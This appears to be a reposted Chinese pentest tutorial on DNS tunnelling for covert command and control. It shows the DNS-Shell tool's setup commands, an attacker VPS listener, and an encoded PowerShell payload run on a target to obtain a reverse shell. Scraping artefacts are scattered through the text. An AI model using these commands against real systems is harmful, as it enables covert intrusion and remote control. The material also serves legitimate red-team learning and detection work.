內網轉發及隱蔽隧道 | 使用DNS進行命令控制(DNS-Shell)

使用DNS進行命令控制(DNS-Shell)


目錄css

DNS隧道python

    利用DNS進行命令控制(DNS-Shell)git

        DNS-Shell的使用github



DNS隧道shell

DNS協議是一種請求、應答協議,也是一種可用於應用層的隧道技術。DNS隧道的工做原理很簡單,在進行DNS查詢時,若是查詢的域名不在DNS服務器本機緩存中,就會訪問互聯網進行查詢,而後返回結果。若是在互聯網上有一臺定製的服務器,那麼依靠DNS協議便可進行數據包的交互。從DNS協議的角度來看,這樣的操做只是在一次次地查詢某個特定的域名並獲得解析結果,但其本質問題是,預期的返回結果應該是一個IP地址,而事實上返回的能夠是任意的字符串,包括加密的C&C指令。apache

在使用DNS隧道與外部進行通訊時,從表面上看是沒有鏈接外網的(內網網關沒有轉發IP數據包)。但實際上,內網的DNS服務器進行了中轉操做。這就是DNS隧道的工做原理,簡單地說,就是將其餘協議封裝在DNS協議中進行傳輸。緩存



利用DNS進行命令控制(DNS-Shell)安全

DNS-Shell是一款經過DNS信道實現交互式Shell的強大工具,該工具的服務器端基於Python開發,能夠任何一種安裝了Python環境的操做系統平臺上運行,工具所使用的Payload均已PowerShell命令進行編碼,保證了在不一樣平臺間運行的穩定性和兼容性。服務器

DNS-Shell運行機制微信

該工具所使用的Payload會在服務器端腳本被調用時自動生成,Payload會使用nslookup來向服務器端查詢和請求新的操做命令,接下來服務器端會監聽端口53並等待傳入的鏈接。當Payload在目標設備上成功執行後,服務器端將會生成一個交互式Shell並提供給用戶進行操做。

通訊信道創建成功後,Payload會繼續向服務器查詢和請求新的操做指令,當攻擊者在服務器端輸入新的操做命令後,Payload將會收到命令並執行該命令,而後在命令執行成功後將執行結果返回給服務器端。



DNS-Shell的使用

DNS-Shell的運行相對來講比較簡單,DNS-Shell支持兩種操做模式,即 直接操做模式 和 遞歸模式:

下載DNS-Shell:

git clone https://github.com/sensepost/DNS-Shell.git


DNS-Shell直接模式:

python2 DNS-Shell.py -l -d VPS的IP


該命令會生成一段payload

咱們將該payload複製,在目標機cmd窗口中執行 

powershell.exe -e 生成的payload

能夠看到,咱們已經成功接收到反彈回來的shell了

相關文章:

       內網轉發及隱蔽隧道 | 使用ICMP進行命令控制(Icmpsh)

       內網轉發及隱蔽隧道 | 使用SSH作端口轉發以及反向隧道

       內網轉發及隱蔽隧道 | 端口轉發和端口映射

       內網滲透 | 內網轉發工具的使用

   內網轉發及隱蔽隧道 | 網絡層隧道技術之ICMP隧道(pingTunnel/IcmpTunnel)

參考文章:

利用DNS隧道構建隱蔽C&C信道

DNS-Shell:一款經過DNS信道來實現交互式Shell的強大工具    

DNS Shell 一款控制服務器的工具 

本文分享自微信公衆號 - 貝塔安全實驗室(BetaSecLab)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索